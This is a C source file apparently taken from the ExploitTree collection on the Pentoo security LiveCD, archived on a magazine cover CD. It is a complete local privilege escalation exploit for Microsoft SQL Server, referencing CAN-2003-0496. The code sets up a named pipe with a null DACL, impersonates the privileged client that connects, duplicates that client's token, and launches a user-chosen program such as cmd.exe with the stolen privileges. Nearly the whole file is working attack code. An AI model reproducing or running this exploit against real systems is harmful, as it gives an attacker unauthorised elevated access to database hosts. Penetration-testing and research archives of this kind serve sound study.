home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / tac0tac.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  113 lines

  1. /* 
  2.   *  Author:  Maceo 
  3.   *  Modified to take advantage of CAN-2003-0496 Named Pipe Filename 
  4.   *  MSSQL Local Privilege Escalation Found by @stake. Use with their advisory
  5.   *  -wirepair@sh0dan.org 
  6.   */
  7.  
  8.  
  9. #include <stdio.h>
  10. #include <windows.h>
  11.  
  12.  
  13. int main(int argc, char **argv)
  14. {
  15.    char szPipe[64];
  16.    DWORD dwNumber = 0;
  17.    DWORD dwType = REG_DWORD;
  18.    DWORD dwSize = sizeof(DWORD);
  19.    DWORD dw = GetLastError();
  20.    HANDLE hToken, hToken2;
  21.    PGENERIC_MAPPING pGeneric;
  22.    SECURITY_ATTRIBUTES sa;
  23.    DWORD dwAccessDesired;
  24.    PACL pACL = NULL;
  25.    PSECURITY_DESCRIPTOR pSD = NULL;
  26.    STARTUPINFO si;
  27.    PROCESS_INFORMATION pi;
  28.  
  29.  
  30.    if (argc != 2) {
  31.       fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local 
  32. Priv Escalation found by @stake.\n"
  33.                        "This code is to be used with MS-SQL exactly as 
  34. outlined in their advisory\n"
  35.                        "All credit for this code goes to Maceo, he did a 
  36. fine job.. -wire\n"
  37.                        "Also thanks goes to brett Moore for helping me 
  38. with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
  39.                        exit(1);
  40.    }
  41.    memset(&si,0,sizeof(si));
  42.    sprintf(szPipe, "\\\\.\\pipe\\poop");
  43.  
  44.    // create the named pipe
  45.    HANDLE hPipe = 0;
  46.    hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
  47. PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
  48.    if (hPipe == INVALID_HANDLE_VALUE) {
  49.      printf ("Failed to create named pipe:\n  %s\n", 
  50. szPipe);
  51.      return 3;
  52.    }
  53.    printf("Created Named Pipe: \\\\.\\pipe\\poop\n");
  54.  
  55.    // setup security attribs
  56.    pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, 
  57. SECURITY_DESCRIPTOR_MIN_LENGTH); 
  58.    InitializeSecurityDescriptor(pSD, 
  59. SECURITY_DESCRIPTOR_REVISION);
  60.    SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
  61.    sa.nLength = sizeof (SECURITY_ATTRIBUTES);
  62.    sa.lpSecurityDescriptor = pSD;
  63.    sa.bInheritHandle = FALSE;
  64.  
  65.    printf("Waiting for connection...\n");
  66.    // wait for client to connect 
  67.    ConnectNamedPipe (hPipe, NULL);
  68.  
  69.    // assume the identity of the client //
  70.    if (!ImpersonateNamedPipeClient (hPipe)) {
  71.      printf ("Failed to impersonate the named pipe.\n");
  72.      CloseHandle(hPipe);
  73.      return 5;
  74.    }
  75.  
  76.    if (!OpenThreadToken(GetCurrentThread(), 
  77. TOKEN_ALL_ACCESS, TRUE, &hToken )) {
  78.          if (hToken != INVALID_HANDLE_VALUE) {
  79.              printf("GetLastError: %u\n", dw);
  80.               CloseHandle(hToken);
  81.              exit(0);
  82.          }
  83.    }
  84.    
  85.    printf("Duplicating Token...\n");
  86.    if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation, 
  87. TokenPrimary,&hToken2) == 0) {
  88.       printf("error in duplicate token\n");
  89.       printf("GetLastError: %u\n", dw);
  90.       exit(0);
  91.    }
  92.    MapGenericMask( &dwAccessDesired, pGeneric );
  93.  
  94.    // display impersonating users name
  95.    dwSize  = 256;
  96.    char szUser[256];
  97.    GetUserName(szUser, &dwSize);
  98.    printf ("Impersonating: %s\n", szUser);
  99.  
  100.    si.cb = sizeof(si);
  101.    si.lpDesktop = NULL;
  102.  
  103.    printf("Creating New Process %s\n", argv[1]);     
  104.    if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa, 
  105. &sa,true, NORMAL_PRIORITY_CLASS | 
  106. CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
  107.       printf("GetLastError: %u\n", dw);
  108.    }
  109.    CloseHandle(hPipe);
  110.  
  111.    return 0;
  112. }
  113.